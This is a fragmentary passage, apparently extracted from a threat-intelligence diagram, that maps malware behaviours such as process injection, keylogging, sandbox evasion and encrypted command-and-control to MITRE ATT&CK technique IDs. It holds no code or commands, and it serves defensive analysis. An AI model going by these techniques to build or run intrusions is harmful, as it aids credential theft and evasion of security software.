(T1140)

Reflective Code
Loading (T1620)

Process Injection
(T1055)
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Credential

Access

Input
Capture:
Keylogging
(T1056.001)

Discovery /

Collection

System Information
Discovery (T1082)

Security Software
Discovery
(T1518.001)

System Owner/User
Discovery (T1033)

Virtualization/Sandbox
Evasion (T1497)

Command
& Control

Encrypted
Channel
(T1573.001)

Ingress Tool
Transfer
(T1105)

¢

¢



